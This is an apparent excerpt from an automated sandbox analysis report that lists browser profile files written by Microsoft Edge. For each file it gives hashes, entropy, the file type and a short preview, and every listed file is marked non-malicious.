MD5:	0C73D0881CA94A7F091265B3C85F8278
SHA1:	0AFD5A2785C76E8B2F3BFC3BE2762996867BA915
SHA-256:	5077F3337C5988B063DEF59820644D7556CD5559F4BFB64332A5F82D4D5AA92A
SHA-512:	1ED95427CFD9B9368463D9564A516A9F34C3CD18693841832D987EA371CE0CB51B46B31AFF6D08D85B5BF0BF1D8C391BC8A2C8194F2B840A791A5DD117697E58
Malicious:	false
Preview:	2024/12/17-06:12:19.462 1d10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/17-06:12:19.464 1d10 Recovering log #3.2024/12/17-06:12:19.468 1d10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.143978757825073
Encrypted:	false
SSDEEP:	6:7KTXuDq2P923oH+Tcwt8a2jMGIFUt8OKTROUhZmw+OKTduKkwO923oH+Tcwt8a23:7rDv4Yeb8EFUt8OsOY/+OguK5LYeb8bJ
MD5:	0C73D0881CA94A7F091265B3C85F8278
SHA1:	0AFD5A2785C76E8B2F3BFC3BE2762996867BA915
SHA-256:	5077F3337C5988B063DEF59820644D7556CD5559F4BFB64332A5F82D4D5AA92A
SHA-512:	1ED95427CFD9B9368463D9564A516A9F34C3CD18693841832D987EA371CE0CB51B46B31AFF6D08D85B5BF0BF1D8C391BC8A2C8194F2B840A791A5DD117697E58
Malicious:	false
Preview:	2024/12/17-06:12:19.462 1d10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/17-06:12:19.464 1d10 Recovering log #3.2024/12/17-06:12:19.468 1d10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0e57a576-faff-4880-bf73-a09cba6734cc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\5a21c308-aa93-4ba7-aafc-4b8976112994.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8ee53e13-ca80-47ea-9736-6d7a4074c484.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1361076189200614
Encrypted:	false
SSDEEP:	48:TsKLopF+SawLUO1Xj8BWLJ67ENeptVrpS72bN5VGL:te+AucJRkSss
MD5:	67AD58ABC9F2E3EDE6B13D9F7302EC1E
SHA1:	1FD8391F6C7CC1F5F2595897958E95C2802E3AD4
SHA-256:	84C2BE95B72551AA53E6420F2CBEE4F54A79E8793A30EEFBDB091616B5A9E5CD
SHA-512:	398A0200D09246E0729E6C3D9AD67A4CBB7B4CAEEAE770284D7560DF4C4CFFD1E88D372D52CF4DB2DEEAB97DE5D13C40BA64DB47CEFE22D416C27EEA87CB1269
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF491dc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.7606382273037698
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBkgl:uIEumQv8m1ccnvS6p
MD5:	5C86DC010789FE89F15190A082AB59C6
SHA1:	239F89B0E2A41FA6DAE66E2A74AFEB6B13A29605
SHA-256:	D89CB8C2BD31CFCBF53F517A74FE5EC1953D7A539936D26922592BFE52AFF09C
SHA-512:	AAB470A20954D2E0CE10C3ECB09B3EEE6E012DEE727F18B595E4987412258CD6E437E80DBBA4F8995B5F4C424F3A2CA548A74343498EE0B756F8DF7CA3AE5515
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF387bf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39607.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b267aa6b-cc0e-4670-b853-11552cfa686a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d821cbae-f7b1-4c2c-bfeb-275289b4cc36.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ff03d18f-a09e-4b23-aeae-cacd881ed81d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1630
Entropy (8bit):	5.3326099217004765
Encrypted:	false
SSDEEP:	48:YcgCzsqtsDfcKspHleeBkEspGWCiKYhbx9+:F1Q2keBk7VvhV9+
MD5:	61E5EDDFD334154B3996274FBC77C177
SHA1:	D227E47E08B8778F504B28BE8A14BF1253483F7D
SHA-256:	C88712342BD0CEF028DE0C33406B8F376A955A3280CEF93C24A159831ED46110
SHA-512:	CB4A1C43FCF2E9B456150EFDFCFEF79C6CD4B3BFAFEFD0C75CA29A55D655E7259FD0F7FA67AF849CA0757B87F9C69BD4686F0E8D627C9DBF0E29C45C4AAB81A2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381499543435420","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381499546305325","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379001149688706","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6949007314891732
Encrypted:	false
SSDEEP:	12:TLSnAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3isal/d0dtdjiG1dMgrfNr:TLSOUOq0afDdWec9sJrl7ZWI7J5fc
MD5:	52DE909D04514C10D7428B67A26BBDAC
SHA1:	0371737559133042EBF793502ECDC403011376E4
SHA-256:	B05BF68A882F04103FA0F53A61974AFB591B09010DDBD5139B67B9ECE073F388
SHA-512:	A1A861BBE3D275229BD39E11A72D894D9838145876FB40D1E233D1637F26BD5C13FBCF329D7984E0F89C3D69D1177E0E852C47B2404AC4A161101EA6ED0C7DE0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Pdf\pdfSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	0.8019297020735429
Encrypted:	false
SSDEEP:	12:LBtiuWkKcwF11DM/FAf4AlDhO7L0rqq9Hzfip8:LLiuW9LFPY/Wf4A9ho0rqqBzfip8
MD5:	772E0E5AF29CA209C99B85DACA6BF39A
SHA1:	2235C66D24401B1FD5CC6BE5161C99B8D529AD26
SHA-256:	CA58AC1EA182391349EA55E5F9CAEAD1AEF292EFC5C135F24FBCEA228470EDD1
SHA-512:	6E16BEAA55F5FA3493653E96D382EA38CADF7C696FA99FD4762798C428280EEEFC299A1D2436C39642976A986202ED38D650B49D94695D37394C3E5E50F1D592
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9261
Entropy (8bit):	5.10351557336086
Encrypted:	false
SSDEEP:	192:strSWsuIcssZihnkV03688bV+FiA66Wr/aFIMYbPuYJ:strxsuNsfhqLbGix6WraTYj
MD5:	1D3CB6F5AAA67B0A998B4D646E259EA3
SHA1:	D24875C299B173E3D172492BD02DEA3689398EF2
SHA-256:	585D7BD4D0889B96D1C4E65785ADA71D844A613D48E5A49C229191DE8A05499A
SHA-512:	4EBB1E35485C46D053C1D4D21416715D7FE304177C5C65F678C1C5DB80A949D4B6F3395393324DC24688297E4CF82924337629D2AFD3100CB5392BBBF49BADCF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378907540449411","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dips_timer_last_update":"13378907539866650","domain_dive

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3c44b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9261
Entropy (8bit):	5.10351557336086
Encrypted:	false
SSDEEP:	192:strSWsuIcssZihnkV03688bV+FiA66Wr/aFIMYbPuYJ:strxsuNsfhqLbGix6WraTYj
MD5:	1D3CB6F5AAA67B0A998B4D646E259EA3
SHA1:	D24875C299B173E3D172492BD02DEA3689398EF2
SHA-256:	585D7BD4D0889B96D1C4E65785ADA71D844A613D48E5A49C229191DE8A05499A
SHA-512:	4EBB1E35485C46D053C1D4D21416715D7FE304177C5C65F678C1C5DB80A949D4B6F3395393324DC24688297E4CF82924337629D2AFD3100CB5392BBBF49BADCF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378907540449411","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dips_timer_last_update":"13378907539866650","domain_dive

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40b66.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9261
Entropy (8bit):	5.10351557336086
Encrypted:	false
SSDEEP:	192:strSWsuIcssZihnkV03688bV+FiA66Wr/aFIMYbPuYJ:strxsuNsfhqLbGix6WraTYj
MD5:	1D3CB6F5AAA67B0A998B4D646E259EA3
SHA1:	D24875C299B173E3D172492BD02DEA3689398EF2
SHA-256:	585D7BD4D0889B96D1C4E65785ADA71D844A613D48E5A49C229191DE8A05499A
SHA-512:	4EBB1E35485C46D053C1D4D21416715D7FE304177C5C65F678C1C5DB80A949D4B6F3395393324DC24688297E4CF82924337629D2AFD3100CB5392BBBF49BADCF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378907540449411","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dips_timer_last_update":"13378907539866650","domain_dive

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF48096.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9261
Entropy (8bit):	5.10351557336086
Encrypted:	false
SSDEEP:	192:strSWsuIcssZihnkV03688bV+FiA66Wr/aFIMYbPuYJ:strxsuNsfhqLbGix6WraTYj
MD5:	1D3CB6F5AAA67B0A998B4D646E259EA3
SHA1:	D24875C299B173E3D172492BD02DEA3689398EF2
SHA-256:	585D7BD4D0889B96D1C4E65785ADA71D844A613D48E5A49C229191DE8A05499A
SHA-512:	4EBB1E35485C46D053C1D4D21416715D7FE304177C5C65F678C1C5DB80A949D4B6F3395393324DC24688297E4CF82924337629D2AFD3100CB5392BBBF49BADCF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378907540449411","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dips_timer_last_update":"13378907539866650","domain_dive

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558545254987095
Encrypted:	false
SSDEEP:	768:75uhLm7pLGLhZ0WPX7fYP8F1+UoAYDCx9Tuqh0VfUC9xbog/OVABML4rwqp/tug:75uhLGchZ0WPX7fYPu1ja1GLpmtD
MD5:	1E44062658487E0575089326CD7A0954
SHA1:	06C9A9C3AA30DCE8EB73EA79F21A10F69B5BD5A0
SHA-256:	8A5A338B28D5E09B3EDA985545350EE76804B6369ACFACB735483AC0341DA200
SHA-512:	A4E975D9FAF11C7A125EFF5006F8BCB83D76323756F06C81997D82DCE702BC9D2D6C82FFDB6FD69267DB87BE9D8EBC093C592C2D442E035C78EDEE95BDCF8727
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378907539037092","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378907539037092","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3bff6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558545254987095
Encrypted:	false
